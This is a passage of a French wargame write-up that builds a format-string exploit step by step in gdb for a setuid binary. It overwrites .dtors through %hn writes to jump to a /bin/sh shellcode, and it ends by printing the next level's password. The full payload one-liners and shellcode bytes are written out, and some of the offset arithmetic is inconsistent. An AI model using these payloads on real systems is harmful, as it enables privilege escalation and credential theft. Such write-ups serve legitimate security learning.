0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000

Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940

Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA

Breakpoint 2, 0x0804845f in main ()

(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"

Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948

C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)

Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.

bfff = 49151 base 10
f948 = 63816 base 10

Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]

On va utiliser le shellcode classique suivant:

"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Qui fait 23 de long.

Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères

[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]

Vérifions ca sous gdb:

level4@behemoth:/wargame$ gdb level4

On pose un bp juste avant le ret de main()

(gdb) b *main+118
Breakpoint 1 at 0x804846a

On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")

(..)000000000003086877440

Breakpoint 1, 0x0804846a in main ()

on regarde ce qu'il y a dans .dorts:

(gdb) x/x 0x08049598
0x8049598 <__DTOR_END__>: 0xbffff948

Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:

(gdb) x/x 0xbffff948
0xbffff948: 0x99580b6a

C'est bien le cas.

On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)

Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5

On quitte gdb et on test for real:

level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4
(...)000003086877440
id
Illegal instruction

Snif...

Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...

Cependant notre chaine va grandir de 10, donc il faut en prendre compte!

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]

Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères

(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4

(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6

Crac boum.